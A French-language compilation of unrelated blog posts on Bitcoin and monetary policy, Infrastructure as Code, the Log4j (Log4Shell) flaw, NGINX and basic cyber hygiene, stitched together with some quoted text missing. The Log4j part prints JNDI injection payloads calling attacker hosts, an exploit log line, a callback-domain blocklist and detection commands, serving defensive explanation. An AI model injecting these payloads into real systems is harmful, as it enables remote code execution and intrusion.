En plus des renflouements, les banques centrales du monde entier ont également utilisé la politique monétaire pour atténuer le ralentissement économique plus large qui devait résulter du comportement de recherche de risque de ces institutions financières. La politique monétaire englobe des mesures, telles que l'ajustement du taux de prêt entre les banques et le montant d'argent que chaque banque doit garder en réserve, que les banques centrales peuvent utiliser pour modifier essentiellement le montant de l'argent en circulation. La théorie derrière l'utilisation de la politique monétaire pour aider l'économie à faire face à l'impact des fluctuations financières malsaines liées aux marchés du crédit, du logement et des actions remonte à John Keynes dans les années 1930.

Encore une fois, l'intervention du gouvernement en ce qui concerne l'offre monétaire n'est pas nécessairement une mauvaise chose. On peut affirmer que sans augmenter l'offre monétaire après 2008, la Grande Récession aurait entraîné encore plus de troubles économiques et s'est transformée en une Grande Dépression 2.0. Cependant, il peut y avoir d'autres motivations pour augmenter l'offre monétaire au détriment des consommateurs. Par exemple, les gouvernements peuvent effectivement « imprimer » plus de devises pour aider à rembourser leur dette au lieu d'être plus conservateurs sur le plan budgétaire. Les États-Unis ont continué de relever le plafond de la dette, malgré un débat acharné, et en 2016, le ratio dette/PIB a atteint un niveau record de 106 %.

À plus long terme, l'augmentation de l'argent en circulation comme solution à d'autres problèmes peut entraîner de graves conséquences économiques. Des pays comme l'Argentine et la Zambie ont été en proie à une hyperinflation qui a entraîné des pertes importantes de qualité de vie. De plus, c'est dans les endroits où les individus ne peuvent pas compter sur la valeur de la monnaie de leur pays que Bitcoin a le plus de chances d'être utilisé comme moyen d'échange quotidien.

Passer à un système de trésorerie sans confiance

Intégré dans le bloc "Genesis" de Bitcoin, il y avait un message qui disait :

ce qui donne en Français:

Le message était le titre d'un article sur la couverture du journal "The Times" ce jour-là. Non seulement cela commémore le jour où le bloc a été généré, mais met en perspective la raison pour laquelle Bitcoin a été créé.

Bitcoin Genesis Block Newspaper - The Times 03 Jan 2009

Bitcoin Genesis Block Newspaper crypto collectible showcase: The Times 03 Jan 2009, Chancellor on Brink of Second Bailout for Banks

Genesis Block Newspaper - Copies of The Times Jan 3 2009

Les Bitcoins ne sont pas émis par les gouvernements. La quantité de bitcoins en circulation augmente toutes les 10 minutes environ et atteindra finalement un plafond d'environ 21 millions de BTC. Les changements dans la quantité de bitcoins en circulation ne pourraient résulter que d'un consensus majoritaire entre les participants, et non de la parole des gouvernements individuels. En outre, vous pouvez stocker votre bitcoin pour vous-même et empêcher les banques de prendre la garde de vos fonds et d'agir en tant qu'intermédiaires puissants à la recherche de risques.

Nous sommes loin d'une réalité où les bitcoins sont utilisés de manière omniprésente comme moyen de paiement alternatif aux monnaies fiduciaires émises par les banques centrales. C'est pourtant l'idéal libertaire qui l'a inspiré. Pour l'instant, les bitcoins sont traités comme une classe d'actifs émergente.

Bonus

Si l'histoire du Bitcoin vous intéresse et que vous voulez en apprendre plus sur l'idéologie derrière celui-ci, je vous invite à regarder cette très belle vidéo éditée par Arte, elle résume cet article de façon très simple :

Qu'est-ce qui vous vient à l'esprit lorsque vous entendez le terme infrastructure informatique ? On pourrait penser à une grande pièce avec plusieurs grosses machines, un réseau de câbles et de systèmes. C'était le scénario exact il y a quelques années, lorsque les serveurs occupaient des salles et des ressources dédiées à temps plein garantissent la disponibilité du serveur pour exécuter des applications critiques sans aucune interruption.

Au fil des années, nous avons assisté à un changement considérable dans la façon dont le backend est géré aujourd'hui. Merci au Cloud et au DevOps ! Alors que la technologie Cloud a transformé la façon dont l'infrastructure est gérée, DevOps a apporté des changements dans la façon dont elle est développée et déployée. Désormais, nous n'avons plus besoin d'une administration à temps plein de l'infrastructure et de plusieurs heures pour sa configuration.

DevOps a apporté de nombreux concepts, termes et processus qui contribuent à rendre le développement de logiciels efficace, sécurisé et plus rapide. Et comme nous le savons, l'infrastructure est un aspect crucial du développement logiciel. L'infrastructure en tant que code (IAC) est l'un de ces concepts qui a permis la révolution DevOps. Avec "Infrastructure as a Code", nous pouvons développer, déployer et gérer l'ensemble de l'infrastructure plus facilement.

Qu'est-ce que l'infrastructure en tant que code ?

Selon la définition de Microsoft, « L'infrastructure en tant que code est la gestion de l'infrastructure (réseaux, machines virtuelles, équilibreurs de charge et topologie de connexion) dans un modèle descriptif, utilisant le même contrôle de version que l'équipe DevOps utilise pour le code source ».

En termes simples, IAC est la pratique de gérer l'infrastructure à l'aide de code. Il utilise des fichiers lisibles par une machine pour configurer et gérer l'infrastructure informatique requise. Avec IAC, vous pouvez traiter votre infrastructure comme vous traitez n'importe quel autre code.

Besoin d'infrastructure en tant que code (IAC)

L'infrastructure en tant que code permet aux administrateurs système d'automatiser le processus d'installation et de configuration d'une machine virtuelle à l'aide de code. Il offre une procédure rapide et répétitive pour reproduire l'ensemble du flux de processus. Cela signifie qu'une fois que vous avez créé un environnement virtuel à l'aide d'un morceau de code pour développer une application, vous pouvez répéter le processus de création de cette machine virtuelle pour le déploiement en exécutant le même code.

IaC peut être considéré comme équivalent au script en termes d'automatisation des processus informatiques. Cependant, le problème avec les scripts est qu'ils sont souvent utilisés pour automatiser des étapes statiques sans offrir aucune flexibilité pour des actions complexes. Ce n'est pas le cas avec IaC car il vous donne la flexibilité du code dans un environnement de type script. IaC vous permet de savoir quel type d'infrastructure est configuré. Par conséquent, au lieu de configurer manuellement une batterie de serveurs, le code IaC le fait pour vous.

Comment l'infrastructure en tant que code (IaC) permet-elle de meilleures pratiques DevOps ?

DevOps est la combinaison d'une équipe de développement et d'exploitation visant à réduire le temps de cycle et à assurer une livraison continue aux utilisateurs finaux. Non seulement cela, mais DevOps (déploiement accru) offre également plus d'opportunités pour améliorer l'application et apprendre des erreurs. L'infrastructure en tant que code utilise l'automatisation et la mise en œuvre de code pour configurer et supprimer un environnement spécifique, contrairement à la pratique traditionnelle qui impliquait la gestion manuelle des machines virtuelles par des humains. Cette automatisation raccourcit le temps de cycle, ce qui facilite la production et la livraison de plates-formes stables et testées aux applications hôtes.

Le contrôle de version est un autre DevOps populaire. Grâce à cela, des équipes importantes ou réparties peuvent travailler efficacement ensemble à l'aide d'un système standard. IaC rend l'environnement de développement transparent et clair dans le cadre du code, améliorant ainsi le contrôle de version. Cela libère le besoin de tout documenter pour que l'utilisateur final ou les développeurs sachent. De cette façon, IaC aide à produire des résultats plus faciles avec le suivi et la réplication des erreurs, ce qui permet un traitement plus rapide.

De plus, IaC stocke toutes les commandes de création d'environnement dans un référentiel permettant un redéploiement ou une restauration plus rapide vers l'instance précédente. Cela signifie que vous n'avez plus besoin de passer du temps à réparer un serveur. Tout ce que vous avez à faire est de consulter l'historique des versions pour restaurer un déploiement précédent ou de le redéployer avec une copie de travail.

Pour faire court et simple, les 4 meilleures pratiques de l'IaC incluent :

• Gérez l'infrastructure via le contrôle des sources pour offrir des pistes d'audit détaillées pour les modifications.
• Tester l'infrastructure à la recherche de défauts ou d'erreurs à l'aide de tests unitaires, de tests d'intégration et de tests fonctionnels.
• Autorisez la collaboration autour de la configuration et de l'approvisionnement de l'infrastructure.
• Évitez la documentation écrite car le code lui-même documentera l'état de la machine.

Il n'est pas possible de pratiquer l'Infrastructure en tant que code (IaC) dans les workflows DevOps sans utiliser d'outils. Voici quelques outils IaC courants mais puissants :

Azure Resource Manager (ARM)

Cet outil aide les utilisateurs à provisionner l'infrastructure et à gérer les dépendances en un cycle via des modèles ARM. Les ressources comprises par le modèle sont décrites de manière déclarative dans un fichier JSON. C'est-à-dire que vous pouvez déclarer plusieurs ressources Azure dans un seul modèle ARM pour configurer l'ensemble de l'environnement du projet. Le fait que les modèles ARM soient idempotents, le même modèle peut être réutilisé un nombre infini de fois produisant le même résultat à chaque fois. De plus, toutes les versions de votre modèle peuvent être surveillées visuellement à l'aide d'un tableau de bord VSTS.

Azure Resource Manager | Microsoft Azure

Simplifiez la façon dont vous gérez les ressources de vos applications avec Azure Resource Manager. Déployez les ressources ensemble, catégorisez-les pour faciliter la facturation, puis activez le contrôle d’accès.

Microsoft Azure

AWS CloudFormation

L'outil permet aux utilisateurs de définir des modèles qui représentent des piles logicielles et de les déployer automatiquement dans des environnements cloud. Pour cela, les modèles utilisent un format lisible par l'homme, facile à comprendre et pouvant être utilisé pour vérifier le contrôle de version. Avec cet outil, les utilisateurs peuvent faire tourner automatiquement n'importe quoi, d'une machine EC2 à une application complexe utilisant plusieurs services AWS.

Provisionner Infrastructure As Code – AWS CloudFormation – Amazon Web Services

AWS CloudFormation est un service d’infrastructure en tant que code (IaC) qui vous permet de modéliser, de provisionner et de gérer facilement les ressources AWS et tierces.

Amazon Web Services, Inc.

Puppet

Cet outil permet aux utilisateurs de déployer d'énormes charges de travail cloud pouvant contenir plus de 20 000 nœuds Puppet. L'outil est idéal pour être utilisé dans plusieurs clouds publics, systèmes de cloud privé et environnements de cloud hybride. Il permet l'automatisation de l'infrastructure à l'aide d'une interface graphique et d'un langage spécifique au domaine (DSL).

Powerful infrastructure automation and delivery | Puppet

Puppet automates away the challenges, complexity, and risk of securing and running global hybrid and cloud-native infrastructure, so you can focus on delivering the next great thing.

Puppet Logo

Terraform

Cet outil peut être utilisé en combinaison avec d'autres outils comme Chef ou Puppet. Terraform utilise ses fichiers de configuration pour créer un plan de déploiement, qui explique comment adapter l'infrastructure actuelle pour atteindre l'état souhaité. La principale responsabilité de cet outil est de gérer l'ensemble de l'environnement, y compris le stockage, les machines et la mise en réseau, les configurations DNS et les fonctionnalités d'application à granularité fine.

Terraform by HashiCorp

Terraform is an open-source infrastructure as code software tool that enables you to safely and predictably create, change, and improve infrastructure.

Terraform by HashiCorp

Avantages de l'infrastructure en tant que code (IaC)

• Amélioration des performances du système avec une prévention des risques assurée
• Livraison de logiciels à grande vitesse
• Une gestion du changement plus sûre et efficace
• Évolutivité
• Améliore la satisfaction client.
  
  

Conclusion

L'infrastructure en tant que code (IaC) peut aider votre organisation à fournir des produits plus rapidement et avec plus d'efficacité en améliorant l'environnement de développement. Cependant, la configuration de l'environnement Infrastructure as Code (IaC) n'est pas facile. Vous aurez besoin des conseils de quelqu'un qui a de l'expérience dans l'utilisation de la pratique pour le développement de logiciels et INSYS peut vous aider dans ce domaine.

Les chercheurs de Blumira ont d'autres mauvaises nouvelles pour la communauté informatique qui lutte contre les failles de sécurité de Log4j. Alors que les résultats précédents indiquaient que les systèmes concernés nécessiteraient un certain type de réseau ou de connectivité Internet, la récente découverte de la société de sécurité affirme désormais que les services fonctionnant en tant qu'hôte local sans connexion externe peuvent également être exploités. La découverte a dirigé les chercheurs vers plusieurs autres cas d'utilisation décrivant des approches alternatives pour compromettre les actifs non corrigés exécutant Log4j.

Un article technique de Blumira CTO, Matthew Warner, décrit comment un acteur malveillant peut avoir un impact sur les machines locales vulnérables. Warner déclare que les WebSockets, qui sont des outils permettant une communication rapide et efficace entre les navigateurs Web et les applications Web, pourraient être utilisés pour fournir des charges utiles aux applications et serveurs vulnérables sans connectivité Internet. Ce vecteur d'attaque spécifique signifie que les actifs non connectés mais vulnérables pourraient être compromis simplement par un attaquant envoyant une requête malveillante à l'aide d'un WebSocket existant. Le message de Warner détaille les étapes spécifiques qu'un acteur malveillant prendrait pour lancer l'attaque basée sur WebSocket.

Le vecteur d'attaque nouvellement identifié entraînera un plus grand nombre d'actifs vulnérables dans des secteurs déjà fortement touchés. Selon Check Point Software, plus de 50 % de toutes les organisations gouvernementales, militaires, financières, de distribution, de FAI et d'éducation sont actuellement affectées par la vulnérabilité Log4j.

Warner note qu'il existe des méthodes disponibles que les organisations peuvent utiliser pour détecter les vulnérabilités Log4j existantes :

• Exécutez Windows PoSh ou des scripts multiplateformes conçus pour identifier où Log4j est utilisé dans les environnements locaux
• Recherchez toute instance de ".*/java.exe" utilisée comme processus parent pour "cmd.exe/powershell.exe"
• Assurez-vous que votre organisation est configurée pour détecter la présence de Cobalt Strike, TrickBot et des outils d'attaque courants associés

Les organisations concernées peuvent mettre à jour leurs instances de Log4j vers verss la dernière version de Log4j (Log4j 2.17 actuellement) pour atténuer la vulnérabilité de l'outil. Cela inclut toute organisation qui peut avoir appliqué la correction précédente, la version 2.15 et 2.16, qui s'est avérée plus tard inclure son propre ensemble de vulnérabilités associées.

Voir notre précédent article sur Log4j

Mais dès le 2 décembre, des acteurs malveillants auraient entrepris de l’exploiter, à en croire Talos (une filiale du groupe Cisco axée sur la cyber sécurité). Pour Cloudflare, la première preuve d’exploitation remonterait à la veille, le 1^er décembre. Mais aucun éditeur ne rapporte d’exploitation massive de la faille avant sa divulgation.

Qu'est-ce que Log4j, à quoi sert-il et pourquoi est-il si important ?

Log4j c'est quoi ? Log4j est une bibliothèque de journalisation basée sur Java que "Ceki Gulcu" a développée, puis transférée à Apache Software Foundation et produite par ASF.

Log4j est activement impliqué dans de nombreuses applications Java en créant une journalisation optionnelle basée sur les niveaux. Considérant que le nombre d'appareils utilisant Java dans le monde se chiffre en milliards, il n'est pas surprenant que Log4j apparaisse dans de nombreux environnements.

Quelle est la gravité d'une vulnérabilité détectée dans Log4j ?

Bien que la vulnérabilité Log4Shell, détectée par "Chen Zhaojun" de l'équipe de sécurité d'Alibaba Cloud, ne semble pas encore entièrement comprise, elle ressemble à une vulnérabilité qui sera le plus discutée dans les années à venir. Il est si critique qu'il amène différentes entreprises à subir des failles de sécurité à un moment inattendu.

Nous rappeler la vulnérabilité d'Equifax pourrait être bon pour nous rafraîchir la mémoire. La vulnérabilité qui a causé la violation de données d'Equifax en 2017 était similaire à l'exposition Log4j qui est sortie aujourd'hui, mais il s'agissait d'une vulnérabilité très innocente.

Les autorités ont déterminé que le niveau de criticité de la vulnérabilité (CVSS) était de 10 sur 10. Le score CVSS élevé indique que la vulnérabilité doit être corrigée immédiatement.

Comment savoir si vous êtes affecté par cette vulnérabilité ? La réponse est :

• Si vous utilisez des versions de log4j de 2.0 à 2.14.1, vous êtes affecté par cette vulnérabilité, donc corrigez là maintenant !
  
• Si vous utilisez Log4j 1.x, vous n'êtes concerné par cette vulnérabilité que si vous utilisez "JMS Appenders".
  
  

Comment ça marche?

La façon dont le processeur log4j traite les messages de journal est la cause première de la vulnérabilité. Un attaquant peut exécuter des codes à distance en envoyant un message personnalisé qui peut inclure du code malveillant comme le suivant.

${jndi:ldap://evil.xa/x}

Cette insertion de code peut par exemple entraîner le chargement d'une classe de code externe ou la consultation d'un message et l'exécution de ce code.

Quels produits et systèmes que vous utilisez peuvent être affectés par cette vulnérabilité ?

Il est impossible de dire directement si une application utilise Log4j en la regardant de l'extérieur. Il semble que certains éditeurs aient commencé à répertorier les services et logiciels qui utilisent Log4j à ce sujet. Nous partageons les plus importants d'entre eux dans une liste ci-dessous.

En résumé, si vous avez une application qui utilise Java, Log4j est également utilisé. Par conséquent, vous devez vérifier toutes les applications Java et appliquer les patches/mitigations nécessaires.

Recherche de Log4j avec des outils open source

Comment tester la faille et comment la rechercher ? Il existe deux outils open-source dirigés par Anchor qui peuvent analyser de nombreux formats de dépendances empaquetées, identifier leur existence et signaler s'ils contiennent des vulnérabilités. Dans ce cas, ce que nous voulons, c'est pouvoir vérifier les fichiers JAR, en particulier les couches imbriquées de fichiers JAR.

Syft génère une nomenclature logicielle (SBOM) et Grape est un scanner de vulnérabilités. Ces deux outils peuvent inspecter plusieurs couches imbriquées d'archives JAR pour découvrir et identifier les versions de Log4j.

Quelques services/fabricants affectés par la vulnérabilité de Log4j :

• Apple
• Steam
• Twitter
• Baidu
• Tesla
• Amazon
• Cisco, F5
• Citrix
• Carbon Black
• Imperva
• Jenkins
• McAfee
• Oracle
• Webex
• Palo-Alto Networks
• Pulse Secure

Produits identifiés comme étant affectés par la vulnérabilité de Log4j :

• La plupart des applications qui utilisent Java dans leur infrastructure
• Apache Struts
• Apache Struts2
• Apache Tomcat
• Apache Spark
• Apache Solr
• Apache Druid
• Apache Flink
• ElasticSearch
• flume
• Apache Dubbo
• Logstash
• Kafka
• IBM Qradar SIEM
• VMWare
• NetApp

La liste des applications concernées et la liste des composants concernés s'allongent également. La surface d'attaque avec des exploits vérifiés est également publiée par les chercheurs.

Comment se protéger de la vulnérabilité de Log4j ? Existe-t-il d'autres solutions que l'application de correctifs ?

Il existe plusieurs façons de se protéger contre la vulnérabilité de log4j. Tout d'abord, mettez à niveau vers la nouvelle version, la version 2.15.0 ou supérieure. La nouvelle version, la version 2.16.0 est maintenant disponible. Si vous ne pouvez pas mettre à jour pour une raison quelconque, ASF recommande les solutions intermédiaires suivantes :

1. Les utilisateurs de Log4j version 2.10 ou supérieure peuvent ajouter:
   en tant qu'option de ligne de commande ou ajoutez log4j2. "formatMsgNoLookups=true" à un fichier "log4j2.component.properties" sur le classpath pour empêcher les recherches dans les messages d'événement du journal.

-Dlog4j2.formatMsgNoLookups=true

2. Les utilisateurs depuis Log4j 2.7 peuvent spécifier %m{nolookups} dans la configuration de PatternLayout pour empêcher les recherches dans les messages d'événements de journal.

3. Supprimez les classes JndiLookup et JndiManager du jar log4j-core. La suppression de JndiManager entraînera le dysfonctionnement de JndiContextSelector et de JMSAppender.

Comment détecter les systèmes utilisant un Log4j vulnérable ?

Exécutez la commande suivante sur vos systèmes Linux

grep -r 'org/apache/logging/log4j/core/lookup/JndiLookup.class' /

Si le résultat est "correspondance de fichiers binaires", les fichiers concernés utilisent la bibliothèque Log4j.

Vous pouvez exécuter les commandes pertinentes à partir du dépôt GitHub pour les systèmes Windows.

Divers systèmes de test sont distribués sur Internet pour les systèmes dont vous n'avez pas accès au code mais que vous soupçonnez. Vous pouvez essayer l'un de ces codes de test, celui qui est fiable pour vos systèmes suspects.

Vous pouvez également utiliser des outils de test en ligne tels que le service fourni par Huntress Labs.

Si vous souhaitez tester plusieurs serveurs Web à partir de l'invite de commande, le modèle Nuclei est publié. Il vous suffit d'exécuter la commande suivante pour obtenir un fichier texte contenant la liste des URL.

nuclei -t cves/2021/CVE-2021-44228.yaml -list urls.txt

Comment exploiter la vulnérabilité de Log4j ? Existe-t-il un exemple de code d'exploitation ?

Il n'y a pas besoin de lignes de code complexes pour exploiter la vulnérabilité. La ligne suivante, ajoutée à toute entrée reçue par Log4j (il peut s'agir d'un agent utilisateur HTTP ou de données envoyées par un formulaire HTTP POST), fera fonctionner le code d'exploitation.

${jndi:ldap://maliciousexternalhost.com/resource}

La chose la plus importante à noter ici est que vous devez éviter d'exécuter des codes d'exploit avec un contenu illisible ou un contenu que vous ne pouvez pas techniquement commenter. Si vous souhaitez expérimenter avec votre serveur LDAP, ce dépôt GitHub vous sera utile.

Comment pouvez-vous déterminer si vos systèmes sont affectés en regardant les journaux ?

Un exemple de journal d'exploits générera des journaux sur le serveur Web comme suit.

127.0.0.1  -  - []  "GET / HTTP/1.1" 200 2595 "-"
"${jndi:ldap://127.0.0.1:12344/Basic/Command/Base64/}"

Contrôle central pour les systèmes situés derrière le pare-feu :

Le moyen le plus simple de savoir si quelqu'un exécute le code d'exploitation Log4j sur vos systèmes est de vérifier le trafic de vos systèmes de serveurs vers l'internet et de vérifier le trafic sur un port anormal 80, 443.

En particulier dans les environnements d'entreprise, étant donné que les systèmes de serveurs ont un accès minimal à l'internet (comme il se doit), il ne sera pas facile de l'exploiter même si une vulnérabilité est détectée. En outre, si vous pouvez examiner la partie protocole du trafic sortant, et non le port, la recherche du protocole LDAP vous facilitera également la tâche.

Les requêtes provenant des adresses DNS suivantes sont des indicateurs de l'existence d'un système présentant cette vulnérabilité et de tentatives d'exploitation. Vous devez bloquer ces tentatives en créant des règles SIEM sur le serveur DNS, le pare-feu ou l'IDS qui génèrent des alarmes et bloquent les requêtes envoyées depuis ces domaines (et également tous leurs sous-domaines).

pwn.af
.*\.pwn\.af
.*\.leakix\.net
leakix.net
.*\.interactsh\.com
interactsh.com
.*\.interact\.sh
interact.sh
.*\.burpcollaborator\.net
burpcollaborator.net
.*\.bingsearchlib\.com
bingsearchlib.com
.*\.canarytokens\.com
canarytokens.com
.*\.kryptoslogic-cve-2021-44228\.com
kryptoslogic-cve-2021-44228.com
dnslog.cn
.*\.dnslog\.cn
world443.log4j.binaryedge.io
world80.log4j.binaryedge.io
requestbin.net
.*\.requestbin\.net
rce.ee
.*\.rce.ee

Vérifiez pour chaque système Linux :

En outre, si vous savez ou soupçonnez qu'un système Linux utilise Log4j, vous pouvez rapidement vérifier les journaux avec les commandes grep/egrep.

Vous pouvez essayer la commande suivante pour savoir si un exploit a été tenté dans le contenu de tous les fichiers journaux sous /var/login de manière simple :

Vous pouvez consulter ce dépôt GitHub pour rechercher les fichiers d'archives compressés sous /var/log.

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

Contrôle via SIEM :

Pour le contrôle via SIEM, la recherche dans les journaux de jndi:ldap, jndi:rmi, jndi:dns donnera un indice.

Existe-t-il des CIO que les équipes SOC peuvent utiliser pour empêcher l'exploitation de la vulnérabilité sur les serveurs exposés à Internet ?

Après la publication de la vulnérabilité, les systèmes utilisant Log4j ont commencé à être détectés et exploités par des centaines d'adresses IP de différents pays.

La liste ci-dessous doit être vérifiée dans les arriérés et ajoutée à la liste de blocage pour les scans potentiels.

• Vous pouvez accéder à Active Scanning IP Addresses à partir du lien GitHub ici
• Les adresses pour appeler la charge utile téléchargeant l'exploit sont listées ici

Existe-t-il des règles pour détecter et prévenir les vulnérabilités des systèmes tels que WAF, IPS, SIEM ?

Lorsque nous regardons les premiers scans, nous voyons qu'il y a des expériences de changement d'agent utilisateur (ils envoient la partie Payload avec l'agent utilisateur) sur HTTP/HTTPS. Par conséquent, les WAF et les IPS ont un rôle essentiel dans la première phase. Cloudflare a annoncé que tous ses clients sont protégés contre cette vulnérabilité.

En outre, le blocage de l'accès aux ports LDAP et RMI des systèmes serveurs vers l'internet dans les règles du pare-feu réduira partiellement l'effet de l'attaque car les attaquants essaient d'envoyer le paquet exemplaire vers l'internet via LDAP, DNS et RMI pour comprendre que l'attaque a réussi.

Si vous utilisez un IDS/IPS basé sur Snort, Suricata, vous pouvez appliquer les règles à votre système en examinant les instructions ci-dessous. Vous pouvez suivre le fichier de signature mis à jour ici.

Y a-t-il un groupe de ransomware, un groupe APT ou un botnet qui exploite activement la vulnérabilité de Log4Shell ?

En date du 12 décembre, il a été observé que deux botnets, Muhstik et MIRAI, exploitent activement la vulnérabilité de la bibliothèque log4j.

Restez donc prudent face à cette nouvelle vulnérabilité. Nous mettrons l'article en cas de nouveaux éléments !

Source: SOCRadar

En plus de ses capacités de serveur HTTP, NGINX peut également fonctionner comme serveur proxy pour la messagerie (IMAP, POP3 et SMTP) et comme proxy inverse et équilibreur de charge pour les serveurs HTTP, TCP et UDP.

Parmi les entreprises de renom qui utilisent NGINX figurent Autodesk, Atlassian, Intuit, T-Mobile, GitLab, DuckDuckGo, Microsoft, IBM, Google, Adobe, Adobe, Salesforce, VMWare, Xerox, LinkedIn, Cisco, Facebook, Target, Citrix Systems, Twitter, Apple, Intel et beaucoup plus (source).

Son passé

Igor Sysoev a écrit à l'origine NGINX pour résoudre le problème C10K, un terme inventé en 1999 pour décrire la difficulté rencontrée par les serveurs Web existants pour gérer un grand nombre (le 10K) de connexions simultanées (le C). Avec son architecture asynchrone événementielle, NGINX a révolutionné le fonctionnement des serveurs dans des contextes hautes performances et est devenu le serveur Web le plus rapide disponible.

Après avoir rendu publique le projet en 2004 et vu son utilisation croître de façon exponentielle, Sysoev a cofondé NGINX, Inc. pour soutenir le développement continu de NGINX et commercialiser NGINX Plus en tant que produit commercial avec des fonctionnalités supplémentaires conçues pour les entreprises clientes. NGINX, Inc. fait partie de F5, Inc. en 2019. Aujourd'hui, NGINX et NGINX Plus peuvent gérer des centaines de milliers de connexions simultanées et alimenter plus de sites Internet les plus fréquentés que tout autre serveur.

NGINX en tant que serveur Web

L'objectif derrière NGINX était de créer le serveur Web le plus rapide du marché, et le maintien de cette excellence est toujours un objectif central du projet. NGINX bat systématiquement Apache et d'autres serveurs dans les benchmarks mesurant les performances des serveurs Web. Depuis la sortie originale de NGINX, cependant, les sites Web sont passés de simples pages HTML à un contenu dynamique à multiples facettes. NGINX a grandi et prend désormais en charge tous les composants du Web moderne, y compris WebSocket, HTTP/2, gRPC et le streaming de plusieurs formats vidéo (HDS, HLS, RTMP et autres).

Et pour finir, le fameux guide !

GitHub - trimstray/nginx-admins-handbook: How to improve NGINX performance, security, and other important things.

How to improve NGINX performance, security, and other important things. - GitHub - trimstray/nginx-admins-handbook: How to improve NGINX performance, security, and other important things.

GitHubtrimstray

Ce guide est un ensemble de règles et de recommandations pour le serveur HTTP Open Source NGINX. Il contient également les meilleures pratiques, des notes et des aides avec d'innombrables exemples. Beaucoup d'entre eux font référence à des ressources externes, elles sont classées par catégories et par ordre de criticité.

À vos optimisations, vous n'avez plus d'excuses ! ?

Dans quelle mesure votre vie quotidienne repose-t-elle sur la technologie ? Quelle quantité de vos informations personnelles est stockée sur votre propre ordinateur, smartphone, tablette ou sur le système de quelqu'un d'autre ?

Quels sont les risques d'avoir une mauvaise sécurité?

Les risques sont nombreux, certains plus graves que d'autres. Parmi ces dangers figurent les logiciels malveillants qui effacent l'intégralité de votre système, un attaquant s'introduisant dans votre système et modifiant des fichiers, un attaquant utilisant votre ordinateur pour attaquer d'autres personnes ou un attaquant volant les informations de votre carte de crédit et effectuant des achats non autorisés. Il n'y a aucune garantie que même avec les meilleures précautions, certaines de ces choses ne vous arriveront pas, mais vous pouvez prendre des mesures pour minimiser les risques.

Que pouvez-vous faire pour améliorer votre sécurité ?

La première étape pour se protéger est de reconnaître les risques. Familiarisez-vous avec les termes suivants pour mieux comprendre les risques :

• Hacker, attaquant ou intrus : Ces termes s'appliquent aux personnes qui cherchent à exploiter les faiblesses des logiciels et des systèmes informatiques à leur propre profit. Bien que leurs intentions soient parfois bénignes et motivées par la curiosité, leurs actions sont généralement en violation de l'utilisation prévue des systèmes qu'ils exploitent. Les résultats peuvent aller d'un simple méfait (créer un virus sans impact intentionnellement négatif) à une activité malveillante (voler ou altérer des informations).

• Code malveillant : Le code malveillant (également appelé malware) est un fichier ou un programme indésirable qui peut endommager un ordinateur ou compromettre les données stockées sur un ordinateur. Diverses classifications de code malveillant incluent les virus, les vers et les chevaux de Troie. Le code malveillant peut avoir les caractéristiques suivantes :

  • Cela peut vous obliger à faire quelque chose avant qu'il n'infecte votre ordinateur. Cette action peut être l'ouverture d'une pièce jointe à un e-mail ou l'accès à une page Web particulière.
  • Certaines formes de logiciels malveillants se propagent sans intervention de l'utilisateur et commencent généralement par exploiter une vulnérabilité logicielle. Une fois que l'ordinateur victime a été infecté, le malware tentera de trouver et d'infecter d'autres ordinateurs. Ce malware peut également se propager par e-mail, des sites Web ou des logiciels en réseau.
  • Certains logiciels malveillants prétendent être une chose, tout en faisant quelque chose de différent dans les coulisses. Par exemple, un programme qui prétend accélérer votre ordinateur peut en fait envoyer des informations confidentielles à un intrus distant.

• Vulnérabilités : Les vulnérabilités sont des failles dans les logiciels, les micrologiciels ou le matériel qui peuvent être exploitées par un attaquant pour effectuer des actions non autorisées dans un système. Ils peuvent être causés par des erreurs de programmation logicielle. Les attaquants profitent de ces erreurs pour infecter les ordinateurs avec des logiciels malveillants ou effectuer d'autres activités malveillantes.

Pour minimiser les risques de cyberattaques, suivez les bonnes pratiques de base en matière de cybersécurité :

• Gardez le logiciel à jour : Installez des correctifs logiciels afin que les attaquants ne puissent pas tirer parti des problèmes ou des vulnérabilités connus. De nombreux systèmes d'exploitation proposent des mises à jour automatiques. Si cette option est disponible, vous devez l'activer.

• Exécutez un logiciel antivirus à jour : Une application logicielle antivirus réputée est une mesure de protection importante contre les menaces malveillantes connues. Il peut détecter, mettre en quarantaine et supprimer automatiquement divers types de logiciels malveillants. Assurez-vous d'activer les mises à jour automatiques des définitions de virus pour assurer une protection maximale contre les dernières menaces. Remarque : étant donné que la détection repose sur des signatures (des modèles connus qui peuvent identifier le code comme un logiciel malveillant), même le meilleur antivirus ne fournira pas de protections adéquates contre les menaces nouvelles et avancées, telles que les exploits zero-day et les virus polymorphes.

• Utilisez des mots de passe forts : Sélectionnez des mots de passe difficiles à deviner pour les attaquants et utilisez des mots de passe différents pour différents programmes et appareils. Il est préférable d'utiliser des phrases secrètes ou des mots de passe longs et forts composés d'au moins 16 caractères.

• Modifiez les noms d'utilisateur et les mots de passe par défaut : Les noms d'utilisateur et mots de passe par défaut sont facilement accessibles aux acteurs malveillants. Remplacez dès que possible les mots de passe par défaut par un mot de passe suffisamment fort et unique.

• Implémentez l'authentification multifacteur (MFA) : L'authentification est un processus utilisé pour valider l'identité d'un utilisateur. Les attaquants exploitent généralement des processus d'authentification faibles. MFA utilise au moins deux composants d'identité pour authentifier l'identité d'un utilisateur, minimisant ainsi le risque qu'un cyberattaquant accède à un compte s'il connaît le nom d'utilisateur et le mot de passe.

• Installez un pare-feu : Les pare-feu peuvent empêcher certains types de vecteurs d'attaque en bloquant le trafic malveillant avant qu'il ne puisse pénétrer dans un système informatique et en limitant les communications sortantes inutiles. Certains systèmes d'exploitation de l'appareil incluent un pare-feu. Activez et configurez correctement le pare-feu comme spécifié dans le manuel du propriétaire de l'appareil ou du système.

• Méfiez-vous des e-mails inattendus : Les e-mails de phishing sont actuellement l'un des risques les plus courants pour l'utilisateur moyen. L'objectif d'un e-mail de phishing est d'obtenir des informations sur vous, de vous voler de l'argent ou d'installer des logiciels malveillants sur votre appareil. Méfiez-vous de tous les e-mails inattendus.

Source: CISA

Bon à savoir

L’application des mesures préconisées par l’ANSSI, auxquelles le Centre de cyberdéfense a contribué en apportant son expérience opérationnelle, permettrait d’éviter plus de 80 % des attaques informatiques rencontrées.

Précautions élémentaires

La sécurité du numérique est l’affaire de tous. Elle repose avant tout sur des mesures simples et des bonnes pratiques à adopter sans modération dans la sphère privée et professionnelle. Fondées sur le bon sens, ces précautions élémentaires ne peuvent être négligées sans s’exposer à des risques, qui…

ANSSI

